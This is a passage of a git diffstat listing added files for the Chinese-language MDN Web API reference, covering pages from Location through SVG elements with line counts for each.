47 + files/zh-cn/web/api/location/host/index.html | 52 + files/zh-cn/web/api/location/hostname/index.html | 43 + files/zh-cn/web/api/location/href/index.html | 44 + files/zh-cn/web/api/location/index.html | 219 ++ files/zh-cn/web/api/location/reload/index.html | 109 + files/zh-cn/web/api/location/replace/index.html | 71 + files/zh-cn/web/api/location/search/index.html | 50 + files/zh-cn/web/api/location/tostring/index.html | 42 + files/zh-cn/web/api/lockedfile/index.html | 84 + files/zh-cn/web/api/long_tasks_api/index.html | 112 + files/zh-cn/web/api/mathmlelement/index.html | 72 + .../web/api/media_source_extensions_api/index.html | 150 + files/zh-cn/web/api/media_streams_api/index.html | 124 + .../zh-cn/web/api/mediacapabilitiesinfo/index.html | 74 + .../api/mediadevices/devicechange_event/index.html | 153 + .../api/mediadevices/enumeratedevices/index.html | 93 + .../api/mediadevices/getdisplaymedia/index.html | 118 + .../getsupportedconstraints/index.html | 132 + .../web/api/mediadevices/getusermedia/index.html | 259 ++ files/zh-cn/web/api/mediadevices/index.html | 124 + .../web/api/mediadevices/ondevicechange/index.html | 252 ++ .../web/api/mediaelementaudiosourcenode/index.html | 147 + files/zh-cn/web/api/mediakeysession/index.html | 161 + .../zh-cn/web/api/mediakeysession/load/index.html | 100 + files/zh-cn/web/api/medialist/index.html | 69 + .../web/api/mediaquerylist/addlistener/index.html | 76 + files/zh-cn/web/api/mediaquerylist/index.html | 142 + .../mediarecorder/audiobitspersecond/index.html | 39 + files/zh-cn/web/api/mediarecorder/index.html | 256 ++ .../api/mediarecorder/istypesupported/index.html | 126 + .../web/api/mediarecorder/mediarecorder/index.html | 90 + .../api/mediarecorder/ondataavailable/index.html | 80 + files/zh-cn/web/api/mediarecorder/pause/index.html | 75 + files/zh-cn/web/api/mediasession/index.html | 141 + .../api/mediasession/setactionhandler/index.html | 93 + .../web/api/mediasource/addsourcebuffer/index.html | 173 + .../zh-cn/web/api/mediasource/duration/index.html | 94 + .../web/api/mediasource/endofstream/index.html | 111 + files/zh-cn/web/api/mediasource/index.html | 128 + .../web/api/mediasource/mediasource/index.html | 54 + .../web/api/mediasource/readystate/index.html | 136 + .../zh-cn/web/api/mediastream.addtrack/index.html | 122 + files/zh-cn/web/api/mediastream/active/index.html | 59 + files/zh-cn/web/api/mediastream/clone/index.html | 43 + .../web/api/mediastream/getaudiotracks/index.html | 78 + .../zh-cn/web/api/mediastream/gettracks/index.html | 65 + files/zh-cn/web/api/mediastream/id/index.html | 99 + files/zh-cn/web/api/mediastream/index.html | 101 + .../web/api/mediastream/mediastream/index.html | 59 + .../web/api/mediastream_recording_api/index.html | 228 ++ .../using_the_mediastream_recording_api/index.html | 313 ++ .../web/api/mediastreamaudiosourcenode/index.html | 150 + .../mediastreamaudiosourcenode/index.html | 130 + files/zh-cn/web/api/mediastreamevent/index.html | 115 + .../mediastreamtrack/getcapabilities/index.html | 52 + .../api/mediastreamtrack/getconstraints/index.html | 66 + files/zh-cn/web/api/mediastreamtrack/index.html | 181 + .../web/api/mediastreamtrack/readystate/index.html | 61 + .../zh-cn/web/api/mediastreamtrack/stop/index.html | 86 + .../zh-cn/web/api/mediatrackconstraints/index.html | 264 ++ files/zh-cn/web/api/messagechannel/index.html | 87 + .../api/messagechannel/messagechannel/index.html | 79 + .../zh-cn/web/api/messagechannel/port1/index.html | 148 + .../zh-cn/web/api/messagechannel/port2/index.html | 144 + files/zh-cn/web/api/messageevent/index.html | 192 + .../web/api/messageevent/messageevent/index.html | 135 + files/zh-cn/web/api/messageport/index.html | 120 + .../zh-cn/web/api/messageport/onmessage/index.html | 143 + files/zh-cn/web/api/midiaccess/index.html | 56 + files/zh-cn/web/api/midiconnectionevent/index.html | 56 + files/zh-cn/web/api/mimetype/index.html | 92 + files/zh-cn/web/api/mouseevent/altkey/index.html | 124 + files/zh-cn/web/api/mouseevent/button/index.html | 111 + files/zh-cn/web/api/mouseevent/buttons/index.html | 121 + files/zh-cn/web/api/mouseevent/clientx/index.html | 85 + files/zh-cn/web/api/mouseevent/clienty/index.html | 83 + files/zh-cn/web/api/mouseevent/ctrlkey/index.html | 121 + .../web/api/mouseevent/getmodifierstate/index.html | 55 + files/zh-cn/web/api/mouseevent/index.html | 182 + .../web/api/mouseevent/initmouseevent/index.html | 171 + files/zh-cn/web/api/mouseevent/metakey/index.html | 112 + .../zh-cn/web/api/mouseevent/mouseevent/index.html | 184 + .../zh-cn/web/api/mouseevent/movementx/index.html | 103 + .../zh-cn/web/api/mouseevent/movementy/index.html | 101 + .../web/api/mouseevent/mozinputsource/index.html | 71 + files/zh-cn/web/api/mouseevent/offsetx/index.html | 120 + files/zh-cn/web/api/mouseevent/offsety/index.html | 119 + files/zh-cn/web/api/mouseevent/pagex/index.html | 126 + files/zh-cn/web/api/mouseevent/pagey/index.html | 122 + files/zh-cn/web/api/mouseevent/region/index.html | 56 + .../web/api/mouseevent/relatedtarget/index.html | 169 + files/zh-cn/web/api/mouseevent/screenx/index.html | 92 + files/zh-cn/web/api/mouseevent/screeny/index.html | 136 + files/zh-cn/web/api/mouseevent/shiftkey/index.html | 127 + files/zh-cn/web/api/mouseevent/which/index.html | 99 + files/zh-cn/web/api/mouseevent/x/index.html | 79 + files/zh-cn/web/api/mouseevent/y/index.html | 83 + files/zh-cn/web/api/mousescrollevent/index.html | 159 + files/zh-cn/web/api/mousewheelevent/index.html | 119 + files/zh-cn/web/api/msselection/index.html | 103 + .../web/api/mutationobserver/disconnect/index.html | 74 + files/zh-cn/web/api/mutationobserver/index.html | 110 + .../mutationobserver/mutationobserver/index.html | 101 + .../web/api/mutationobserver/observe/index.html | 110 + .../api/mutationobserver/takerecords/index.html | 81 + .../attributefilter/index.html | 96 + .../api/mutationobserverinit/childlist/index.html | 50 + .../zh-cn/web/api/mutationobserverinit/index.html | 60 + files/zh-cn/web/api/mutationrecord/index.html | 116 + .../web/api/namednodemap/getnameditem/index.html | 29 + files/zh-cn/web/api/namednodemap/index.html | 151 + files/zh-cn/web/api/namelist/index.html | 48 + .../zh-cn/web/api/navigation_timing_api/index.html | 191 + .../using_navigation_timing/index.html | 120 + .../web/api/navigator/activevrdisplays/index.html | 40 + files/zh-cn/web/api/navigator/battery/index.html | 96 + files/zh-cn/web/api/navigator/buildid/index.html | 39 + files/zh-cn/web/api/navigator/canshare/index.html | 52 + files/zh-cn/web/api/navigator/clipboard/index.html | 65 + .../zh-cn/web/api/navigator/connection/index.html | 45 + .../web/api/navigator/cookieenabled/index.html | 54 + .../zh-cn/web/api/navigator/credentials/index.html | 101 + .../web/api/navigator/devicememory/index.html | 41 + .../zh-cn/web/api/navigator/donottrack/index.html | 90 + .../zh-cn/web/api/navigator/geolocation/index.html | 56 + .../zh-cn/web/api/navigator/getbattery/index.html | 103 + .../zh-cn/web/api/navigator/getgamepads/index.html | 107 + .../web/api/navigator/getusermedia/index.html | 198 + files/zh-cn/web/api/navigator/id/index.html | 45 + files/zh-cn/web/api/navigator/index.html | 172 + files/zh-cn/web/api/navigator/keyboard/index.html | 41 + .../web/api/navigator/maxtouchpoints/index.html | 100 + .../web/api/navigator/mediadevices/index.html | 115 + .../api/navigator/mozislocallyavailable/index.html | 42 + .../zh-cn/web/api/navigator/mozsettings/index.html | 32 + files/zh-cn/web/api/navigator/mozsms/index.html | 112 + files/zh-cn/web/api/navigator/oscpu/index.html | 84 + .../zh-cn/web/api/navigator/permissions/index.html | 115 + .../zh-cn/web/api/navigator/productsub/index.html | 64 + .../navigator/registercontenthandler/index.html | 47 + .../navigator/registerprotocolhandler/index.html | 151 + .../web-based_protocol_handlers/index.html | 133 + .../zh-cn/web/api/navigator/sendbeacon/index.html | 95 + .../web/api/navigator/serviceworker/index.html | 97 + files/zh-cn/web/api/navigator/share/index.html | 97 + files/zh-cn/web/api/navigator/vendor/index.html | 37 + files/zh-cn/web/api/navigator/vendorsub/index.html | 37 + files/zh-cn/web/api/navigator/vibrate/index.html | 115 + .../hardwareconcurrency/index.html | 69 + .../web/api/navigatorconcurrenthardware/index.html | 71 + .../zh-cn/web/api/navigatorgeolocation/index.html | 104 + .../web/api/navigatorid/appcodename/index.html | 36 + files/zh-cn/web/api/navigatorid/appname/index.html | 37 + .../web/api/navigatorid/appversion/index.html | 42 + files/zh-cn/web/api/navigatorid/index.html | 120 + .../zh-cn/web/api/navigatorid/platform/index.html | 35 + files/zh-cn/web/api/navigatorid/product/index.html | 34 + .../zh-cn/web/api/navigatorid/useragent/index.html | 79 + files/zh-cn/web/api/navigatorlanguage/index.html | 68 + .../web/api/navigatorlanguage/language/index.html | 64 + .../web/api/navigatorlanguage/languages/index.html | 64 + files/zh-cn/web/api/navigatoronline/index.html | 126 + .../web/api/navigatoronline/online/index.html | 87 + .../online_and_offline_events/index.html | 121 + files/zh-cn/web/api/navigatorplugins/index.html | 105 + .../api/navigatorplugins/javaenabled/index.html | 30 + .../web/api/navigatorplugins/mimetypes/index.html | 39 + .../web/api/navigatorplugins/plugins/index.html | 95 + .../index.html" | 38 + files/zh-cn/web/api/navigatorstorage/index.html | 70 + .../web/api/navigatorstorage/storage/index.html | 58 + .../web/api/network_information_api/index.html | 103 + .../web/api/networkinformation/downlink/index.html | 105 + files/zh-cn/web/api/networkinformation/index.html | 134 + .../web/api/networkinformation/rtt/index.html | 106 + .../web/api/networkinformation/savedata/index.html | 35 + files/zh-cn/web/api/node/appendchild/index.html | 109 + files/zh-cn/web/api/node/baseuri/index.html | 69 + files/zh-cn/web/api/node/baseuriobject/index.html | 18 + files/zh-cn/web/api/node/childnodes/index.html | 52 + files/zh-cn/web/api/node/clonenode/index.html | 165 + .../api/node/comparedocumentposition/index.html | 127 + files/zh-cn/web/api/node/contains/index.html | 96 + files/zh-cn/web/api/node/firstchild/index.html | 78 + files/zh-cn/web/api/node/getrootnode/index.html | 96 + files/zh-cn/web/api/node/getuserdata/index.html | 96 + files/zh-cn/web/api/node/haschildnodes/index.html | 52 + files/zh-cn/web/api/node/index.html | 371 ++ files/zh-cn/web/api/node/innertext/index.html | 92 + files/zh-cn/web/api/node/insertbefore/index.html | 176 + files/zh-cn/web/api/node/isconnected/index.html | 93 + .../web/api/node/isdefaultnamespace/index.html | 26 + files/zh-cn/web/api/node/isequalnode/index.html | 124 + files/zh-cn/web/api/node/issamenode/index.html | 27 + files/zh-cn/web/api/node/issupported/index.html | 37 + files/zh-cn/web/api/node/lastchild/index.html | 21 + files/zh-cn/web/api/node/localname/index.html | 64 + .../web/api/node/lookupnamespaceuri/index.html | 19 + files/zh-cn/web/api/node/lookupprefix/index.html | 19 + files/zh-cn/web/api/node/namespaceuri/index.html | 138 + files/zh-cn/web/api/node/nextsibling/index.html | 78 + files/zh-cn/web/api/node/nodename/index.html | 102 + files/zh-cn/web/api/node/nodeprincipal/index.html | 18 + files/zh-cn/web/api/node/nodetype/index.html | 177 + files/zh-cn/web/api/node/nodevalue/index.html | 111 + files/zh-cn/web/api/node/normalize/index.html | 73 + files/zh-cn/web/api/node/outertext/index.html | 8 + files/zh-cn/web/api/node/ownerdocument/index.html | 115 + files/zh-cn/web/api/node/parentelement/index.html | 42 + files/zh-cn/web/api/node/parentnode/index.html | 72 + files/zh-cn/web/api/node/prefix/index.html | 76 + .../zh-cn/web/api/node/previoussibling/index.html | 42 + files/zh-cn/web/api/node/removechild/index.html | 97 + files/zh-cn/web/api/node/replacechild/index.html | 99 + files/zh-cn/web/api/node/rootnode/index.html | 114 + files/zh-cn/web/api/node/setuserdata/index.html | 103 + files/zh-cn/web/api/node/textcontent/index.html | 145 + .../zh-cn/web/api/nodefilter/acceptnode/index.html | 160 + files/zh-cn/web/api/nodefilter/index.html | 114 + files/zh-cn/web/api/nodeiterator/index.html | 214 ++ files/zh-cn/web/api/nodelist/entries/index.html | 122 + files/zh-cn/web/api/nodelist/foreach/index.html | 120 + files/zh-cn/web/api/nodelist/index.html | 182 + files/zh-cn/web/api/nodelist/item/index.html | 30 + files/zh-cn/web/api/nodelist/keys/index.html | 60 + files/zh-cn/web/api/nodelist/length/index.html | 45 + files/zh-cn/web/api/nodelist/values/index.html | 53 + .../web/api/nondocumenttypechildnode/index.html | 69 + .../nextelementsibling/index.html | 167 + .../previouselementsibling/index.html | 118 + files/zh-cn/web/api/notation/index.html | 54 + .../zh-cn/web/api/notification/actions/index.html | 132 + files/zh-cn/web/api/notification/badge/index.html | 94 + files/zh-cn/web/api/notification/body/index.html | 155 + files/zh-cn/web/api/notification/close/index.html | 146 + files/zh-cn/web/api/notification/data/index.html | 165 + files/zh-cn/web/api/notification/dir/index.html | 167 + files/zh-cn/web/api/notification/icon/index.html | 63 + files/zh-cn/web/api/notification/image/index.html | 46 + files/zh-cn/web/api/notification/index.html | 264 ++ .../web/api/notification/notification/index.html | 301 ++ .../zh-cn/web/api/notification/onclick/index.html | 58 + .../zh-cn/web/api/notification/onclose/index.html | 34 + .../zh-cn/web/api/notification/onerror/index.html | 54 + files/zh-cn/web/api/notification/onshow/index.html | 34 + .../web/api/notification/permission/index.html | 179 + .../zh-cn/web/api/notification/renotify/index.html | 68 + .../api/notification/requestpermission/index.html | 174 + .../api/notification/requireinteraction/index.html | 59 + files/zh-cn/web/api/notification/sound/index.html | 129 + .../using_web_notifications/index.html | 292 ++ files/zh-cn/web/api/notificationevent/index.html | 92 + files/zh-cn/web/api/notifications_api/index.html | 196 + .../web/api/notifyaudioavailableevent/index.html | 21 + .../web/api/oes_vertex_array_object/index.html | 96 + .../api/offlineaudiocontext/complete/index.html | 81 + files/zh-cn/web/api/offlineaudiocontext/index.html | 250 ++ .../web/api/offlineaudiocontext/length/index.html | 89 + .../offlineaudiocontext/index.html | 120 + .../web/api/offlineaudiocontext/suspend/index.html | 111 + .../web/api/offscreencanvas/height/index.html | 56 + files/zh-cn/web/api/offscreencanvas/index.html | 172 + .../api/offscreencanvas/offscreencanvas/index.html | 64 + .../transfertoimagebitmap/index.html | 56 + .../zh-cn/web/api/oscillatornode/detune/index.html | 120 + .../web/api/oscillatornode/frequency/index.html | 119 + files/zh-cn/web/api/oscillatornode/index.html | 190 + .../api/oscillatornode/oscillatornode/index.html | 107 + .../api/oscillatornode/setperiodicwave/index.html | 140 + files/zh-cn/web/api/oscillatornode/stop/index.html | 121 + files/zh-cn/web/api/page_visibility_api/index.html | 184 + files/zh-cn/web/api/pagetransitionevent/index.html | 73 + .../api/pagetransitionevent/persisted/index.html | 45 + files/zh-cn/web/api/parentnode/append/index.html | 146 + .../api/parentnode/childelementcount/index.html | 152 + files/zh-cn/web/api/parentnode/children/index.html | 117 + .../api/parentnode/firstelementchild/index.html | 95 + files/zh-cn/web/api/parentnode/index.html | 81 + .../web/api/parentnode/lastelementchild/index.html | 93 + files/zh-cn/web/api/parentnode/prepend/index.html | 134 + .../web/api/parentnode/queryselector/index.html | 95 + .../web/api/parentnode/queryselectorall/index.html | 157 + .../web/api/parentnode/replacechildren/index.html | 161 + files/zh-cn/web/api/path2d/addpath/index.html | 181 + files/zh-cn/web/api/path2d/index.html | 131 + files/zh-cn/web/api/path2d/path2d/index.html | 224 ++ files/zh-cn/web/api/paymentaddress/index.html | 125 + .../web/api/performance/clearmarks/index.html | 132 + .../web/api/performance/clearmeasures/index.html | 134 + .../performance/clearresourcetimings/index.html | 85 + .../web/api/performance/getentries/index.html | 142 + .../api/performance/getentriesbyname/index.html | 115 + .../api/performance/getentriesbytype/index.html | 115 + files/zh-cn/web/api/performance/index.html | 133 + files/zh-cn/web/api/performance/mark/index.html | 154 + files/zh-cn/web/api/performance/measure/index.html | 108 + .../web/api/performance/navigation/index.html | 51 + files/zh-cn/web/api/performance/now/index.html | 107 + .../onresourcetimingbufferfull/index.html | 126 + .../web/api/performance/timeorigin/index.html | 85 + files/zh-cn/web/api/performance/timing/index.html | 47 + files/zh-cn/web/api/performance/tojson/index.html | 61 + .../\345\206\205\345\255\230/index.html" | 42 + files/zh-cn/web/api/performance_api/index.html | 147 + .../zh-cn/web/api/performance_timeline/index.html | 70 + .../web/api/performanceentry/duration/index.html | 111 + .../web/api/performanceentry/entrytype/index.html | 128 + files/zh-cn/web/api/performanceentry/index.html | 101 + .../zh-cn/web/api/performanceentry/name/index.html | 178 + .../web/api/performanceentry/tojson/index.html | 105 + .../zh-cn/web/api/performancenavigation/index.html | 76 + .../web/api/performancenavigationtiming/index.html | 108 + .../api/performanceobserver/disconnect/index.html | 60 + files/zh-cn/web/api/performanceobserver/index.html | 70 + .../web/api/performanceobserver/observe/index.html | 134 + .../performanceobserver/index.html | 66 + .../api/performanceobserver/takerecords/index.html | 63 + .../web/api/performancepainttiming/index.html | 130 + .../web/api/performanceresourcetiming/index.html | 115 + .../api/performancetiming/connectend/index.html | 49 + .../api/performancetiming/connectstart/index.html | 47 + .../performancetiming/domainlookupend/index.html | 47 + .../performancetiming/domainlookupstart/index.html | 47 + .../api/performancetiming/domcomplete/index.html | 47 + .../domcontentloadedeventend/index.html | 49 + .../domcontentloadedeventstart/index.html | 47 + .../performancetiming/dominteractive/index.html | 50 + .../api/performancetiming/domloading/index.html | 47 + .../api/performancetiming/fetchstart/index.html | 47 + files/zh-cn/web/api/performancetiming/index.html | 104 + .../api/performancetiming/loadeventend/index.html | 47 + .../performancetiming/loadeventstart/index.html | 47 + .../performancetiming/navigationstart/index.html | 47 + .../api/performancetiming/redirectend/index.html | 47 + .../api/performancetiming/redirectstart/index.html | 47 + .../api/performancetiming/requeststart/index.html | 47 + .../api/performancetiming/responseend/index.html | 47 + .../api/performancetiming/responsestart/index.html | 47 + .../secureconnectionstart/index.html | 47 + .../performancetiming/unloadeventend/index.html | 47 + .../performancetiming/unloadeventstart/index.html | 47 + files/zh-cn/web/api/periodicwave/index.html | 62 + files/zh-cn/web/api/permissions/index.html | 59 + files/zh-cn/web/api/permissions_api/index.html | 94 + .../using_the_permissions_api/index.html | 125 + .../web/api/pictureinpicturewindow/index.html | 86 + files/zh-cn/web/api/plugin/index.html | 65 + files/zh-cn/web/api/pointer_events/index.html | 483 +++ files/zh-cn/web/api/pointerevent/index.html | 135 + files/zh-cn/web/api/positionoptions/index.html | 112 + .../web/api/positionoptions/timeout/index.html | 95 + files/zh-cn/web/api/progressevent/index.html | 94 + .../api/progressevent/lengthcomputable/index.html | 89 + .../zh-cn/web/api/promiserejectionevent/index.html | 124 + .../api/promiserejectionevent/promise/index.html | 66 + .../promiserejectionevent/index.html | 114 + files/zh-cn/web/api/push_api/index.html | 190 + .../web/api/push_api/using_the_push_api/index.html | 423 ++ .../web/api/pushmanager/getsubscription/index.html | 95 + files/zh-cn/web/api/pushmanager/index.html | 159 + .../zh-cn/web/api/pushmanager/subscribe/index.html | 138 + .../supportedcontentencodings/index.html | 43 + files/zh-cn/web/api/pushmessagedata/index.html | 145 + .../zh-cn/web/api/pushmessagedata/json/index.html | 114 + .../api/randomsource/getrandomvalues/index.html | 77 + files/zh-cn/web/api/randomsource/index.html | 106 + files/zh-cn/web/api/range/clonecontents/index.html | 64 + files/zh-cn/web/api/range/clonerange/index.html | 104 + files/zh-cn/web/api/range/collapse/index.html | 65 + files/zh-cn/web/api/range/collapsed/index.html | 104 + .../api/range/commonancestorcontainer/index.html | 58 + .../api/range/createcontextualfragment/index.html | 60 + .../zh-cn/web/api/range/deletecontents/index.html | 109 + files/zh-cn/web/api/range/endcontainer/index.html | 105 + files/zh-cn/web/api/range/endoffset/index.html | 60 + .../zh-cn/web/api/range/extractcontents/index.html | 60 + .../web/api/range/getboundingclientrect/index.html | 90 + .../zh-cn/web/api/range/getclientrects/index.html | 56 + files/zh-cn/web/api/range/index.html | 163 + files/zh-cn/web/api/range/insertnode/index.html | 119 + .../zh-cn/web/api/range/intersectsnode/index.html | 56 + files/zh-cn/web/api/range/range/index.html | 119 + files/zh-cn/web/api/range/selectnode/index.html | 61 + .../web/api/range/selectnodecontents/index.html | 105 + files/zh-cn/web/api/range/setend/index.html | 120 + files/zh-cn/web/api/range/setstart/index.html | 112 + .../zh-cn/web/api/range/setstartbefore/index.html | 62 + .../zh-cn/web/api/range/startcontainer/index.html | 107 + files/zh-cn/web/api/range/startoffset/index.html | 64 + .../web/api/range/surroundcontents/index.html | 80 + .../web/api/readablestream/getreader/index.html | 103 + files/zh-cn/web/api/readablestream/index.html | 114 + .../api/readablestream/readablestream/index.html | 117 + .../web/api/readablestreamdefaultreader/index.html | 144 + files/zh-cn/web/api/renderingcontext/index.html | 29 + files/zh-cn/web/api/request/cache/index.html | 103 + files/zh-cn/web/api/request/clone/index.html | 62 + files/zh-cn/web/api/request/context/index.html | 43 + files/zh-cn/web/api/request/credentials/index.html | 64 + files/zh-cn/web/api/request/headers/index.html | 151 + files/zh-cn/web/api/request/index.html | 170 + files/zh-cn/web/api/request/method/index.html | 113 + files/zh-cn/web/api/request/mode/index.html | 80 + files/zh-cn/web/api/request/request/index.html | 158 + files/zh-cn/web/api/request/url/index.html | 113 + files/zh-cn/web/api/resize_observer_api/index.html | 89 + .../web/api/resizeobserver/disconnect/index.html | 48 + files/zh-cn/web/api/resizeobserver/index.html | 79 + .../web/api/resizeobserver/observe/index.html | 62 + .../api/resizeobserver/resizeobserver/index.html | 57 + .../web/api/resizeobserver/unobserve/index.html | 51 + files/zh-cn/web/api/resizeobserverentry/index.html | 60 + files/zh-cn/web/api/resource_timing_api/index.html | 76 + .../using_the_resource_timing_api/index.html | 203 + files/zh-cn/web/api/response/error/index.html | 63 + files/zh-cn/web/api/response/headers/index.html | 63 + files/zh-cn/web/api/response/index.html | 129 + files/zh-cn/web/api/response/ok/index.html | 120 + files/zh-cn/web/api/response/redirect/index.html | 85 + files/zh-cn/web/api/response/redirected/index.html | 85 + files/zh-cn/web/api/response/response/index.html | 75 + files/zh-cn/web/api/response/status/index.html | 127 + files/zh-cn/web/api/response/statustext/index.html | 126 + files/zh-cn/web/api/response/type/index.html | 137 + files/zh-cn/web/api/response/url/index.html | 65 + .../response/\345\205\213\351\232\206/index.html" | 143 + files/zh-cn/web/api/rtcconfiguration/index.html | 66 + files/zh-cn/web/api/rtcdatachannel/index.html | 177 + .../rtcpeerconnection/addicecandidate/index.html | 203 + .../web/api/rtcpeerconnection/addtrack/index.html | 207 + .../cantrickleicecandidates/index.html | 102 + .../rtcpeerconnection/connectionstate/index.html | 64 + .../rtcpeerconnection/createdatachannel/index.html | 146 + .../api/rtcpeerconnection/createoffer/index.html | 152 + .../currentlocaldescription/index.html | 80 + .../getdefaulticeservers/index.html | 57 + .../api/rtcpeerconnection/getreceivers/index.html | 60 + .../iceconnectionstate/index.html | 110 + .../rtcpeerconnection/icegatheringstate/index.html | 57 + files/zh-cn/web/api/rtcpeerconnection/index.html | 377 ++ .../api/rtcpeerconnection/onaddstream/index.html | 103 + .../api/rtcpeerconnection/ondatachannel/index.html | 112 + .../rtcpeerconnection/onicecandidate/index.html | 65 + .../web/api/rtcpeerconnection/ontrack/index.html | 106 + .../api/rtcpeerconnection/peeridentity/index.html | 72 + .../rtcpeerconnection/remotedescription/index.html | 71 + .../api/rtcpeerconnection/removestream/index.html | 118 + .../rtcpeerconnection/rtcpeerconnection/index.html | 131 + .../rtcpeerconnection/setconfiguration/index.html | 99 + .../setremotedescription/index.html | 127 + .../web/api/rtcrtptransceiver/direction/index.html | 72 + files/zh-cn/web/api/rtcrtptransceiver/index.html | 85 + .../zh-cn/web/api/rtcsessiondescription/index.html | 167 + files/zh-cn/web/api/rtcstats/id/index.html | 47 + files/zh-cn/web/api/rtcstats/index.html | 84 + files/zh-cn/web/api/rtcstatsreport/index.html | 65 + files/zh-cn/web/api/rtctrackevent/index.html | 95 + .../web/api/rtctrackevent/rtctrackevent/index.html | 55 + files/zh-cn/web/api/screen/availheight/index.html | 18 + files/zh-cn/web/api/screen/availleft/index.html | 25 + files/zh-cn/web/api/screen/availtop/index.html | 23 + files/zh-cn/web/api/screen/availwidth/index.html | 18 + files/zh-cn/web/api/screen/colordepth/index.html | 53 + files/zh-cn/web/api/screen/height/index.html | 22 + files/zh-cn/web/api/screen/index.html | 102 + .../web/api/screen/lockorientation/index.html | 198 + files/zh-cn/web/api/screen/orientation/index.html | 69 + files/zh-cn/web/api/screen/pixeldepth/index.html | 51 + files/zh-cn/web/api/screen/width/index.html | 23 + files/zh-cn/web/api/screen_capture_api/index.html | 143 + .../index.html" | 355 ++ files/zh-cn/web/api/scriptprocessornode/index.html | 151 + files/zh-cn/web/api/scrolltooptions/index.html | 72 + files/zh-cn/web/api/selection/addrange/index.html | 68 + .../zh-cn/web/api/selection/anchornode/index.html | 98 + .../web/api/selection/anchoroffset/index.html | 94 + files/zh-cn/web/api/selection/collapse/index.html | 71 + .../web/api/selection/collapsetoend/index.html | 97 + .../web/api/selection/collapsetostart/index.html | 51 + .../web/api/selection/containsnode/index.html | 110 + files/zh-cn/web/api/selection/extend/index.html | 130 + files/zh-cn/web/api/selection/focusnode/index.html | 95 + .../zh-cn/web/api/selection/focusoffset/index.html | 102 + .../zh-cn/web/api/selection/getrangeat/index.html | 65 + files/zh-cn/web/api/selection/index.html | 211 + .../zh-cn/web/api/selection/iscollapsed/index.html | 16 + files/zh-cn/web/api/selection/modify/index.html | 109 + .../zh-cn/web/api/selection/rangecount/index.html | 129 + .../web/api/selection/removeallranges/index.html | 57 + .../zh-cn/web/api/selection/removerange/index.html | 37 + .../web/api/selection/selectallchildren/index.html | 64 + .../web/api/selection/setbaseandextent/index.html | 177 + files/zh-cn/web/api/selection/tostring/index.html | 112 + files/zh-cn/web/api/selection/type/index.html | 116 + .../index.html" | 107 + files/zh-cn/web/api/sensor_apis/index.html | 238 ++ files/zh-cn/web/api/service_worker_api/index.html | 288 ++ .../using_service_workers/index.html | 451 +++ files/zh-cn/web/api/serviceworker/index.html | 163 + .../web/api/serviceworker/onstatechange/index.html | 123 + .../web/api/serviceworker/scripturl/index.html | 92 + files/zh-cn/web/api/serviceworker/state/index.html | 115 + .../serviceworkercontainer/controller/index.html | 57 + .../web/api/serviceworkercontainer/index.html | 161 + .../api/serviceworkercontainer/register/index.html | 132 + .../api/serviceworkerglobalscope/caches/index.html | 52 + .../web/api/serviceworkerglobalscope/index.html | 240 ++ .../serviceworkerregistration/active/index.html | 127 + .../web/api/serviceworkerregistration/index.html | 245 ++ .../pushmanager/index.html | 125 + .../unregister/index.html | 75 + .../serviceworkerregistration/update/index.html | 77 + .../web/api/shadowroot/delegatesfocus/index.html | 38 + files/zh-cn/web/api/shadowroot/index.html | 113 + .../zh-cn/web/api/shadowroot/innerhtml/index.html | 95 + files/zh-cn/web/api/shadowroot/mode/index.html | 93 + files/zh-cn/web/api/sharedworker/index.html | 118 + .../web/api/sharedworker/sharedworker/index.html | 103 + files/zh-cn/web/api/slotable/index.html | 47 + .../web/api/sourcebuffer/appendbuffer/index.html | 64 + files/zh-cn/web/api/sourcebuffer/index.html | 160 + files/zh-cn/web/api/sourcebuffer/mode/index.html | 96 + files/zh-cn/web/api/speechgrammar/index.html | 147 + .../web/api/speechgrammar/speechgrammar/index.html | 137 + files/zh-cn/web/api/speechgrammar/src/index.html | 138 + .../zh-cn/web/api/speechgrammar/weight/index.html | 138 + .../web/api/speechrecognitionresult/index.html | 152 + .../api/speechrecognitionresult/isfinal/index.html | 139 + .../web/api/speechsynthesis/getvoices/index.html | 93 + files/zh-cn/web/api/speechsynthesis/index.html | 137 + .../web/api/speechsynthesis/paused/index.html | 109 + .../web/api/speechsynthesisutterance/index.html | 133 + .../api/speechsynthesisutterance/voice/index.html | 77 + files/zh-cn/web/api/storage/clear/index.html | 121 + files/zh-cn/web/api/storage/getitem/index.html | 131 + files/zh-cn/web/api/storage/index.html | 108 + files/zh-cn/web/api/storage/key/index.html | 124 + files/zh-cn/web/api/storage/length/index.html | 117 + .../zh-cn/web/api/storage/localstorage/index.html | 135 + files/zh-cn/web/api/storage/removeitem/index.html | 124 + files/zh-cn/web/api/storage/setitem/index.html | 72 + files/zh-cn/web/api/storage_api/index.html | 127 + files/zh-cn/web/api/storageestimate/index.html | 103 + files/zh-cn/web/api/storageevent/index.html | 114 + .../web/api/storagemanager/estimate/index.html | 82 + files/zh-cn/web/api/storagemanager/index.html | 42 + .../web/api/storagemanager/persist/index.html | 53 + .../web/api/storagemanager/persisted/index.html | 53 + files/zh-cn/web/api/streams_api/index.html | 145 + .../index.html" | 307 ++ .../\346\246\202\345\277\265/index.html" | 118 + files/zh-cn/web/api/stylepropertymap/index.html | 56 + files/zh-cn/web/api/stylesheet/disabled/index.html | 57 + files/zh-cn/web/api/stylesheet/href/index.html | 53 + files/zh-cn/web/api/stylesheet/index.html | 55 + files/zh-cn/web/api/stylesheet/media/index.html | 35 + files/zh-cn/web/api/stylesheet/title/index.html | 32 + files/zh-cn/web/api/stylesheetlist/index.html | 35 + .../zh-cn/web/api/subtlecrypto/decrypt/index.html | 94 + .../zh-cn/web/api/subtlecrypto/encrypt/index.html | 249 ++ files/zh-cn/web/api/subtlecrypto/index.html | 334 ++ files/zh-cn/web/api/svgaelement/index.html | 165 + files/zh-cn/web/api/svganimatedangle/index.html | 122 + files/zh-cn/web/api/svganimateelement/index.html | 50 + files/zh-cn/web/api/svganimationelement/index.html | 96 + .../svganimationelement/targetelement/index.html | 43 + files/zh-cn/web/api/svgcircleelement/index.html | 136 + files/zh-cn/web/api/svgelement/index.html | 144 + files/zh-cn/web/api/svgevent/index.html | 44 + .../svggeometryelement/getpointatlength/index.html | 58 + files/zh-cn/web/api/svggeometryelement/index.html | 70 + .../web/api/svggraphicselement/getbbox/index.html | 85 + files/zh-cn/web/api/svggraphicselement/index.html | 67 + files/zh-cn/web/api/svgmatrix/index.html | 95 + .../api/svgpathelement/gettotallength/index.html | 50 + files/zh-cn/web/api/svgpathelement/index.html | 478 +++ files/zh-cn/web/api/svgsvgelement/index.html | 